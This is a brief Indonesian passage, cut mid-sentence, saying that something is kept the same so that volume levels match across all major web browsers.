yang sama, untuk memastikan bahwa tingkat volume adalah sama di semua browser utama.